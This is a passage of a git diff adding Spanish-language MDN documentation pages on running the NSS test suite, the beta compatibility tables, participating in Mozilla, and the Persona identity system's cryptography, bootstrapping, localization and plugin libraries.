+<p><span class="notranslate">Después de haber configurado las variables de entorno requeridas, use "cd nss / tests" e inicie las pruebas usando "./all.sh".</span> <span class="notranslate"> Las pruebas tardarán un tiempo en completarse;</span> <span class="notranslate"> en una computadora lenta puede tomar un par de horas.</span></p>
+
+<p><span class="notranslate">Una vez que se haya completado el conjunto de pruebas, se imprimirá un resumen que muestra el número de fallas.</span> <span class="notranslate"> Puede encontrar los resultados del conjunto de pruebas en el directorio nss /../ tests_results (es decir, el directorio de resultados termina al lado del directorio nss, no dentro de él).</span> <span class="notranslate"> Cada ejecución del conjunto de pruebas creará un nuevo subdirectorio;</span> <span class="notranslate"> debes limpiarlos de vez en cuando.</span> <span class="notranslate"> Dentro del directorio encontrará el archivo de texto output.log, que contiene un informe detallado de todas las pruebas que se están ejecutando.</span> <span class="notranslate"> Para conocer los detalles de las fallas de la prueba, busque en el archivo la prueba en mayúscula FALLIDA.</span></p>
+
+<p><span class="notranslate">Si lo desea, es posible ejecutar solo subconjuntos de las pruebas.</span> <span class="notranslate"> Lea el contenido del archivo all.sh para aprender cómo funciona.</span></p>
diff --git a/files/es/nuevas_tablas_de_compatibilidad_beta/index.html b/files/es/nuevas_tablas_de_compatibilidad_beta/index.html
new file mode 100644
index 0000000000..8f12f0ca94
--- /dev/null
+++ b/files/es/nuevas_tablas_de_compatibilidad_beta/index.html
@@ -0,0 +1,24 @@
+---
+title: Nuevas tablas de compatibilidad (beta)
+slug: Nuevas_tablas_de_compatibilidad_beta
+translation_of: Archive/MDN/New_Compatibility_Tables_Beta
+---
+<p>Quizás estás aquí porque seguiste el enlace de notificación beta desde unas de nuestras nuevas tablas de compatibilidad. (¿No? ¿Quiéres ver las tablas nuevas? <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Be_a_beta_tester">Hágase probador beta.</a>)</p>
+
+<p>Gracias por ayudarnos a probarlas. Son parte de un proyecto mucho más grande. Estamos moviendo todos nuestros <a href="https://github.com/mdn/browser-compat-data">datos de compatibilidad del navegador a JSON estructurado.</a></p>
+
+<p>Las nuevas tablas aparecerán en las páginas a medida que los datos sean convertidos al nuevo formato.</p>
+
+<h2 id="Editando">Editando</h2>
+
+<p>Nuestros datos de compatibilidad se han movido a archivos JSON dentro del repositorio <a href="https://github.com/mdn/browser-compat-data">browser-compat-data de GitHub</a>.</p>
+
+<p>Para contribuir con datos de compatibilidad, ahora puede enviar un <em>pull request</em> o crear una <em>issue</em> en el repositorio.</p>
+
+<h2 id="¿Cómo_ayudar">¿Cómo ayudar?</h2>
+
+<p>Si encuentras algún problema con los datos, por favor <a href="https://github.com/mdn/browser-compat-data">cree una <em>issue</em> en el repositorio de GitHub.</a></p>
+
+<p>Si hay algo mal con la apariencia o funcionalidad de las tablas, por favor haga click en el boton <strong>"<em>report an error</em>" </strong>en el menu desplegable que se encuentra sobre la tabla.</p>
+
+<p>Si tiene un momento, le agradeceríamos que rellenase <a href="http://www.surveygizmo.com/s3/2342437/0b5ff6b6b8f6">nuestra encuesta.</a></p>
diff --git a/files/es/participar_en_el_proyecto_mozilla/index.html b/files/es/participar_en_el_proyecto_mozilla/index.html
new file mode 100644
index 0000000000..7266e63643
--- /dev/null
+++ b/files/es/participar_en_el_proyecto_mozilla/index.html
@@ -0,0 +1,10 @@
+---
+title: Participar en el proyecto Mozilla
+slug: Participar_en_el_proyecto_Mozilla
+tags:
+  - para_revisar
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si estás interesado en ayudar a corregir los errores o trabajar en el código detrás de la plataforma Mozilla, este es el lugar para encontrar la documentación que te guiará en la dirección correcta.</span></span></p>
+<table class="mainpage-table"> <tbody> <tr> <td> <h2 id="Temas_generales"><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Temas generales</span></span></h2> <dl> <dt><a class="internal" href="/En/Developer_Guide" title="En/Developer Guide"><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Guía para desarrolladores de Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Consejos y guías sobre desarrollo para contribuir al código base de Mozilla.</span></span></dd> <dt><a class="internal" href="/En/Developer_Guide/Source_Code" title="En/Developer Guide/Source Code"><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Código fuente de Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Información acerca de cómo obtener el código de Mozilla, ya sea por descarga o por medio de control de versiones, y cómo obtener el código en el árbol.</span></span></dd> <dt><a class="internal" href="/En/The_Mozilla_platform" title="En/The Mozilla platform"><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Elaborar documentación</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Información acerca de cómo construir proyectos de Mozilla, incluyendo Firefox y Thunderbird.</span></span> <em><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Esta página necesita limpieza.</span></span></em></dd> <dt><a class="internal" href="/En/The_Mozilla_platform" title="En/The Mozilla platform"><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La plataforma Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Información sobre la plataforma Mozilla, incluyendo todos sus APIs y tecnologías, así como la forma de utilizarlas en tus propios proyectos.</span></span></dd> <dt><a class="internal" href="/Project:en/How_to_Help" title="Project:en/How to Help"><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Documentar Mozilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Ayuda a crear y mejorar nuestra documentación para Mozilla y para la Web abierta.</span></span></dd> <dt><a class="internal" href="/En/Debugging" title="En/Debugging"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Depuración (Debugging)</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Consejos útiles y pautas a seguir para depurar el código de Mozilla.</span></span></dd> <dt><a class="internal" href="/en/QA" title="en/QA"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Aseguramiento/Control de calidad</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Información sobre pruebas y control de errores.</span></span></dd> <dt><a class="internal" href="/es/Localización" title="es/Localización"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Localización</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Documentación en múltiples idiomas sobre traducción de los proyectos de Mozilla, documentación y otros muchos aspectos.</span></span></dd> <dt><a class="internal" href="/en/Glossary" title="en/Glossary"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Glosario</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Términos y definiciones utilizadas por los hackers de Mozilla.</span></span></dd> </dl> <h2 id="Páginas_sobre_proyectos"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Páginas sobre proyectos</span></span></h2> <dl> <dt><a class="internal" href="/en/Thunderbird" title="en/Thunderbird"><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Thunderbird</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cliente de correo Mozilla</span></span></dd> <dt><a class="internal" href="/en/Calendar" title="en/Calendar">Sunbird</a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Proyecto de calendario de Mozilla</span></span></dd> </dl> </td> <td> <h2 id="Herramientas"><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Herramientas</span></span></h2> <dl> <dt><a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Bugzilla</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-ph-missing goog-gtc-from-human" dir="ltr" style="">La base de datos </span></span><a class="internal" href="/en/Bugzilla" title="En/Bugzilla">Bugzilla</a><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-ph-missing goog-gtc-from-human" dir="ltr" style=""> se usa para rastrear los problemas o incidencias relacionados con los proyectos de Mozilla.</span></span></dd> <dt><a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Navega y busca en el repositorio de código fuente de Mozilla en la Web.</span></span></dd> <dt><a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing" dir="ltr" style="">La herramienta </span></span><a class="internal" href="/en/Bonsai" title="En/Bonsai">Bonsai</a><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing" dir="ltr" style=""> te permite saber quién cambió qué archivo en el repositorio y cuándo lo hicieron.</span></span></dd> <dt><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt> <dd><a class="internal" href="/en/Tinderbox" title="En/Tinderbox">Tinderbox</a><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing" dir="ltr" style=""> muestra el estado del árbol (si actualmente se construye o no con éxito).</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Compruébalo antes de proteger (check in) o desplegar (check out) y asegúrate de que estás trabajando con un árbol de trabajo.</span></span></dd> <dt><a class="internal" href="/en/Crash_reporting" title="en/Crash reporting"><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Seguimiento de errores</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing" dir="ltr" style="">Información sobre los sistemas de notificación de fallos </span></span><a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing" dir="ltr" style=""> y </span></span><a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a>.</dd> <dt><a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/"><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Seguimiento del rendimiento</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Consulta la información de rendimiento para los proyectos de Mozilla.</span></span></dd> <dt><a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html"><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Foros para desarrolladores</span></span></a></dt> <dd><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Una lista de temas específicos de foros de discusión, donde puedes hablar sobre cuestiones de desarrollo de Mozilla.</span></span></dd> </dl> </td> </tr> </tbody>
+</table>
+<p>  <span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">{{ languages ({"en": "en/Participating_in_the_Mozilla_project", "zh-cn": "cn / Participating_in_the_Mozilla_project", "ja": "ja / Participating_in_the_Mozilla_project", "ko": "ko / Participating_in_the_Mozilla_project"}) }}</span></span></p>
diff --git a/files/es/persona/crypto/index.html b/files/es/persona/crypto/index.html
new file mode 100644
index 0000000000..aeed5638b6
--- /dev/null
+++ b/files/es/persona/crypto/index.html
@@ -0,0 +1,21 @@
+---
+title: Cifrado
+slug: Persona/Crypto
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/Crypto
+---
+<p>El sistema de identidad de Persona usa el cifrado de llave pública para asegurar la confianza y seguridad en el proceso de autenticación.</p>
+<p><span style="color: rgb(68, 68, 68); font-family: arial, sans-serif; font-size: small; line-height: 16px;">¿</span><span style="line-height: inherit;">Por qué funciona el sistema descrito en <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Persona/Identity_Provider_Overview?redirectlocale=en-US&amp;redirectslug=Persona%2FIdentity_Provider_Overview" title="https://developer.mozilla.org/en-US/docs/Mozilla/Persona/Identity_Provider_Overview?redirectlocale=en-US&amp;redirectslug=Persona%2FIdentity_Provider_Overview">Información general del Proveedor de Identidad</a>?</span></p>
+<h3 id="Cadena_de_confianza">Cadena de confianza</h3>
+<p>El navegador del usuario almacena localmente pequeñas piezas de información para cada una de las identidades del usuario: una dirección de correo electrónico, un par de llaves, y un certificado del IdP (Identity Provider) asociado.</p>
+<p>El par de llaves del usuario es un par criptográfico DSA o RSA estándar que es generado y guardado localmente en el navegador del usuario. El certificado es firmado por el IdP asociado a la identidad del usuario elegida. Estos certificados están diseñados para no durar mas de 24 horas y pueden ser proporcionados de nuevo cuando caducan, siempre y cuando el usuario tenga una sesión activa con el IdP. Los pares de llaves nunca son compartidos entre computadoras ni entre navegadores.</p>
+<p><img alt="" class="internal" src="/@api/deki/files/6299/=Persona_chain_of_trust.png" style="width: 901px; height: 282px;"></p>
+<p>Como se describe en la <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Persona/Protocol_Overview?redirectlocale=en-US&amp;redirectslug=Persona%2FProtocol_Overview" title="https://developer.mozilla.org/en-US/docs/Mozilla/Persona/Protocol_Overview?redirectlocale=en-US&amp;redirectslug=Persona%2FProtocol_Overview">descripción general del protocolo</a>, el navegador del usuario es capaz de generar y firmar aserciones de identidad efímeras especifícas del sitio. Cuando se toman juntas estas aserciones con la información en un certificado del usuario, el sitio es capaz de verificar la identidad de ese usuario. La autenticidad de los certificados debe ser verificada obteniendo la llave pública del IdP, la cual es publicada en un documento disponible sobre SSL.</p>
+<p>De esa manera, la seguridad de Persona depende de que la llave privada del usuario y la llave privada del dominio se mantengan en secreto y de que la conexión SSL al IdP sea segura. Si se rompe la seguridad en cualquiera de estos puntos, la seguridad de la identidad del usuario puede verse comprometida.</p>
+<h3 id="Generando_pares_de_llaves_IdP">Generando pares de llaves IdP</h3>
+<p>Para los IdPs (Identity Providers ), el <a href="https://github.com/mozilla/jwcrypto" title="https://github.com/mozilla/jwcrypto">paquete jwcrypto</a> proporciona una herramienta de linea de comandos, <code>generate-keypair</code>, la cual genera las llaves adecuadas para el uso con Persona. Debido a que las llaves generadas ya están serializadas en JSON, la llave pública es adecuada para su inclusión directa en el campo de llaves públicas del archivo <a href="https://developer.mozilla.org/en-US/docs/BrowserID/.well-known-browserid">/.well-known/browserid</a> del IdP.</p>
+<h3 id="Certificado_y_formato_de_aserción">Certificado y formato de aserción</h3>
+<p>Por favor, consulte la <a href="https://github.com/mozilla/id-specs/blob/prod/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/prod/browserid/index.md">especificación de BrowserID</a> para información más detallada, pero a grandes rasgos, tanto los certificados como las aserciones son cadenas con tres partes: un encabezado, un cuerpo y una firma criptográfica. Cada parte está codificada separadamente en <a href="https://tools.ietf.org/html/rfc4648#section-5" title="https://tools.ietf.org/html/rfc4648#section-5">base64url</a>, y concatenada delimitando cada parte con caracteres ".". El cuerpo no está cifrado, es texto plano que puede leerse si lo decodificas en base64url.</p>
+<p><img alt="" class="internal" src="/@api/deki/files/6300/=JWT.png" style="width: 595px; height: 111px;"></p>
+<p>Los certificados y las aserciones son empaquetados juntos en una "aserción respaldada" cuando el usuario intenta autenticarse en un sitio. El paquete es creado concatenando un certificado y una aserción, separados por un "~".</p>
diff --git a/files/es/persona/iniciar_persona/index.html b/files/es/persona/iniciar_persona/index.html
new file mode 100644
index 0000000000..eb00a1b3e4
--- /dev/null
+++ b/files/es/persona/iniciar_persona/index.html
@@ -0,0 +1,29 @@
+---
+title: Iniciando el proyecto Persona
+slug: Persona/Iniciar_Persona
+translation_of: Archive/Mozilla/Persona/Bootstrapping_Persona
+---
+<p>Para poder ser realmente exitoso y descentralizado, Persona necesita el apoyo de tres grupos diferentes:</p>
+<ul>
+  <li><strong>Sitios Web</strong> que deben permitir a sus usuarios registrarse con Persona.</li>
+  <li><strong>Navegadores Web</strong> que deben implementar las APIs <a href="https://developer.mozilla.org/en/DOM/navigator.id" title="navigator.id">navigator.id</a> .</li>
+  <li><strong>Proveedores de Email</strong> que deben ser Proveedores de Identidad (IdPs —por su sigla en inglés).</li>
+</ul>
+<p>Esto da lugar a un problema del tipo "el huevo o la gallina": ninguno de estos grupos se beneficiaría significativamente a menos que hubiese una masa considerable de usuarios pero un sistema distribuido no puede conseguir una masa considerable de usuarios sin el apoyo de los grupos mencionados anteriormente.</p>
+<p>Para resolver este problema, <a href="https://login.persona.org">https://login.persona.org</a> alberga tres recursos:</p>
+<ol>
+  <li>Un Proveedor de Identidad de respaldo, que intercede por aquellos usuarios cuyos proveedores de email no soportan Persona</li>
+  <li>Una implementación JavaScript multinavegador (<a href="https://developer.mozilla.org/en-US/docs/persona/Browser_compatibility" title="/en-US/docs/persona/Browser_compatibility"><em>cross-browser</em> en inglés</a>) de las APIs <a href="https://developer.mozilla.org/en/DOM/navigator.id" title="navigator.id">navigator.id</a> para los navegadores sin soporte nativo.</li>
+  <li>Una API de verificación albergada para facilitar que los sitios verifiquen las credenciales de usuario.</li>
+</ol>
+<p>Todo esto en conjunto permite que los sitios web ofrezcan Persona a los usuarios sin importar el navegador y sin que los proveedores de email tengan que involucrarse.</p>
+<p>Estos servicios son temporales y el sistema Persona está diseñado de manera tal que los mismos puedan ser desplazados transparente y automáticamente a medida que se agreguen medios de soporte nativo a los navegadores y proveedores de email. Así, serán menos relevantes a medida que Persona crece; y posiblemente sean todos removidos con el correr del tiempo. En ese momento, <a href="https://login.persona.org">https://login.persona.org</a> no figurará en lo absoluto en el sistema Persona.</p>
+<h2 id="Proveedor_de_identidad_de_respaldo"><strong>Proveedor de identidad de respaldo</strong></h2>
+<p>Cualquier dominio puede ser un Proveedor de Identidad siempre y cuando las partes involucradas estén dispuestas a confiar en los certificados emitidos por ese dominio. Esperamos que los proveedores de email actúen como IdPs para las direcciones que administran haciendo que la experiencia de usuario de Persona sea fluida para esos usuarios. Permite que los usuarios se beneficien de su relación existente con el proveedor de email cuando se autentiquen (acrediten) en otros sitios.</p>
+<p>No obstante, los proveedores de email no serán IdPs hasta que haya una demanda significativa por parte de sus usuarios. Mientras tanto, Mozilla opera un IdP de respaldo en <a href="https://login.persona.org">https://login.persona.org</a>. Este respaldo permite que los usuarios inicien sesión en sitios con sus direcciones de email existentes sin importar si el proveedor soporta Persona. El IdP de respaldo certificará las direcciones de email de cualquier dominio empleando su propio flujo de autenticación y contraseña, en la medida que el usuario sea capaz de probar el control de una dirección al hacer clic en un enlace de un email de verificación.</p>
+<p>Una vez que el proveedor de email soporte Persona nativamente, sus usuarios comenzarán a usuarlo transparentemente en lugar del IdP de respaldo.</p>
+<h2 id="Librería_de_APIs_multinavegador">Librería de APIs multinavegador</h2>
+<p>Para que Persona funcione, el navegador del usuario debe soportar la API <a href="/en/DOM/navigator.id" title="navigator.id">navigator.id</a>. Con el tiempo, los navegadores proveerán un soporte nativo para estas APIs pero, hasta entonces, una implementación <a href="/en-US/docs/persona/Browser_compatibility" title="/en-US/docs/persona/Browser_compatibility">multinavegador </a>está disponlible en <a href="https://login.persona.org/include.js" title="https://login.persona.org/include.js">https://login.persona.org/include.js</a>. Al incluir este archivo, los sitios web ya pueden empezar a usar Persona. Una vez que las implementaciones nativas de las APIs estén disponibles, la librería las pospondrá automáticamente.</p>
+<h2 id="Servicio_de_verificación_remota">Servicio de verificación remota</h2>
+<p>En <a href="https://login.persona.org" rel="freelink">https://login.persona.org</a> Mozilla alberga un <a href="/en/Persona/Remote_Verification_API" title="en/BrowserID/Remote_Verification_API">servicio de verificación remota</a> que los sitios web pueden utilizar para verificar las aseveraciones de identad enviadas por sus usuarios. Esto facilita que los sitios web soporten Persona porque se hace cargo de analizar la aseveración y de verificar critográficamente las identidades de los usuarios.</p>
+<p>Una vez que se estabilicen los formatos de dato de Persona, la verificación se hará posiblemente en el servidor de cada sitio. Esta transición es especialmente importante para la privacidad del usuario debido a que hará imposible que el IdP de respaldo rastree a sus usuarios. Aun con la verificación remota, los usuarios de IdPs nativos no pueden ser rastreados por ese IdP.</p>
diff --git a/files/es/persona/internationalization/index.html b/files/es/persona/internationalization/index.html
new file mode 100644
index 0000000000..5eb991287f
--- /dev/null
+++ b/files/es/persona/internationalization/index.html
@@ -0,0 +1,51 @@
+---
+title: Internacionalización
+slug: Persona/Internationalization
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/Internationalization
+---
+<h2 id="Qué_está_localizado_en_Persona">Qué está localizado en Persona</h2>
+<p>En el futuro, la interfaz de usuario para iniciar sesión en sitios con Persona estará directamente integrada con el navegador, y por lo tanto estrá localizada junto con la localización del propio navegador. Para los navegadores sin soporte integrado, la interfaz de usuario Persona consiste en una serie de diálogos servidos desde <a href="https://login.persona.org" title="https://login.persona.org">login.persona.org</a>. Estos diálogos son traducidos por un equipo de voluntarios de la comunidad, y más 45 configuraciones regionales están actualmente <a href="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json" title="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json">habilitadas en producción</a>.</p>
+<h2 id="Cómo_elije_Persona_la_localización">Cómo elije Persona la localización</h2>
+<p>El servicio persona selecciona un lenguaje usando el encabezado <code>Accept-Language</code> enviado junto con las peticiones de tu navegador Web. El algoritmo usado para asignar un encabezado <code>Accept-Language</code> a un idioma es el mismo que usa <code>mozilla.org</code>:</p>
+<ol>
+  <li>Por cada etiqueta de idioma en el encabezado <code>Accept-Language</code>:
+    <ul>
+      <li>comprueba si tenemos una coincidencia exacta para el idioma identificado por la etiqueta idioma</li>
+      <li>comprueba si tenemos una coincidencia exacta para el idioma identificado por la primera parte de la etiqueta idioma</li>
+    </ul>
+  </li>
+  <li>Si no se puede hacer una coincidencia con la regla(1), recurrimos a en-US. Sin embargo, en o en-US es casi siempre el último encabezado accept-lang enviado por muchos navegadores.</li>
+</ol>
+<p>Por ejemplo, la tabla de abajo muestra los idiomas seleccionados para varios encabezados <code>Accept-Language</code>, si las siguientes configuraciones locales fueran soportadas : <code>en-US, es, es-MX</code>:</p>
+<table>
+  <thead>
+    <tr>
+      <th scope="col"><strong>Encabezado Accept-Language</strong></th>
+      <th scope="col"><strong>Idioma Seleccionado</strong></th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td><code>es-AR,es;q=0.8,en-us;q=0.5</code></td>
+      <td><code>es</code></td>
+    </tr>
+    <tr>
+      <td><code>es-MX,es;q=0.8,en-us;q=0.5</code></td>
+      <td><code>es-MX</code></td>
+    </tr>
+    <tr>
+      <td><code>e</code><code>s-es,en-us;q=0.5</code></td>
+      <td><code>en-US</code></td>
+    </tr>
+    <tr>
+      <td><code>e</code><code>s-es</code></td>
+      <td><code>en-US</code></td>
+    </tr>
+  </tbody>
+</table>
+<p>Actualmente no hay manera que un sitio web obligue a un diálogo aparecer en otro idioma. Esto es porque la interfaz de usuario de Persona es lógicamente (y en un futuras implementaciones nativas será asi) parte de la interfaz de usuario del navegador, asi que su idioma debería ser consistente con el idioma seleccionado en el navegador.</p>
+<h2 id="Cómo_puedo_ayudar">Cómo puedo ayudar</h2>
+<p>Persona usa Mozilla Verbatim para ayudar a los voluntarios con la creación de sus traducciones . Si quieres ayudarnos, lee <a href="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim" title="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim">iniciando con Verbatim</a> y echa un vistazo al <a href="https://localize.mozilla.org/projects/browserid/" title="https://localize.mozilla.org/projects/browserid/">proyecto "BrowserID"</a> de Verbatim.</p>
+<p> </p>
diff --git a/files/es/persona/libraries_and_plugins/index.html b/files/es/persona/libraries_and_plugins/index.html
new file mode 100644
index 0000000000..47eada5212
--- /dev/null
+++ b/files/es/persona/libraries_and_plugins/index.html
@@ -0,0 +1,165 @@
+---
+title: Bibliotecas y complementos
+slug: Persona/Libraries_and_plugins
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/Libraries_and_plugins
+---
+<p>Quieres usar Persona en tu sitio web o blog? Implementar Persona desde cero <a href="/en-US/docs/Persona/Quick_Setup" title="/en-US/docs/Persona/Quick_Setup">es fácil</a>, pero con los complementos y las bibliotecas listadas aquí puedes ir más rápido!</p>
+<p>Esta página enumera tres tipos de bibliotecas:</p>
+<ol>
+  <li><strong>Complementos</strong> que integran Persona con marcos existentes y sistemas de gestión de contenidos</li>
+  <li><strong>Bibliotecas</strong> que son útiles en la construcción de nuevos complementos o integrar Persona en un sitio desde cero</li>
+  <li><strong>Todo lo demás</strong> relacionado con Persona, incluyendo bibliotecas para convertir su dominio en un proveedor de identidad Persona</li>
+</ol>
+<p>Esta es una lista mantenida por la comunidad. Si ha creado una biblioteca o un complemento, por favor agreguelo a esta página.</p>
+<div class="note">
+  Esta página está en proceso de revisión y algunos complementos pueden estar desactualizados. Revise los complementos antes de usarlos.</div>
+<h2 id="Complementos">Complementos</h2>
+<h3 id="Clojure">Clojure</h3>
+<ul>
+  <li>Noir: <a class="external" href="https://github.com/tmarble/nongrata" title="https://github.com/tmarble/nongrata">https://github.com/tmarble/nongrata</a></li>
+  <li>ring / cemerick.friend / cljs: <a class="external" href="https://github.com/osbert/persona-kit" title="https://github.com/osbert/persona-kit">https://github.com/osbert/persona-kit</a></li>
+</ul>
+<h3 id="Cold_Fusion">Cold Fusion</h3>
+<ul>
+  <li>CFML: <a class="external" href="https://github.com/gregmoser/cfpersona" title="https://github.com/gregmoser/cfpersona">https://github.com/gregmoser/cfpersona</a></li>
+</ul>
+<h3 id="Haskell">Haskell</h3>
+<ul>
+  <li>Yesod: <a class="external" href="https://github.com/yesodweb/authenticate" title="https://github.com/yesodweb/authenticate">https://github.com/yesodweb/authenticate</a></li>
+</ul>
+<h3 id="Java">Java</h3>
+<ul>
+  <li>Spring: <a class="external" href="https://github.com/webdetails/SpringSecurityBrowserID" title="https://github.com/webdetails/SpringSecurityBrowserID">https://github.com/webdetails/SpringSecurityBrowserID</a></li>
+  <li>Lutece: <a class="external" href="http://dev.lutece.paris.fr/plugins/module-mylutece-persona/" title="https://dev.lutece.paris.fr/plugins/module-mylutece-persona/">http://dev.lutece.paris.fr/plugins/module-mylutece-persona/</a></li>
+</ul>
+<h3 id="JavaScript">JavaScript</h3>
+<ul>
+  <li>Mootools: <a class="external" href="http://mootools.net/forge/p/browserid" title="http://mootools.net/forge/p/browserid">http://mootools.net/forge/p/browserid</a></li>
+  <li>jQuery: <a class="external" href="https://github.com/altryne/browserID-jQuery" title="https://github.com/altryne/browserID-jQuery">https://github.com/altryne/browserID-jQuery</a></li>
+  <li>Meteor: <a class="external" href="https://github.com/vladikoff/meteor-accounts-persona" title="https://github.com/vladikoff/meteor-accounts-persona">https://github.com/vladikoff/meteor-accounts-persona</a></li>
+</ul>
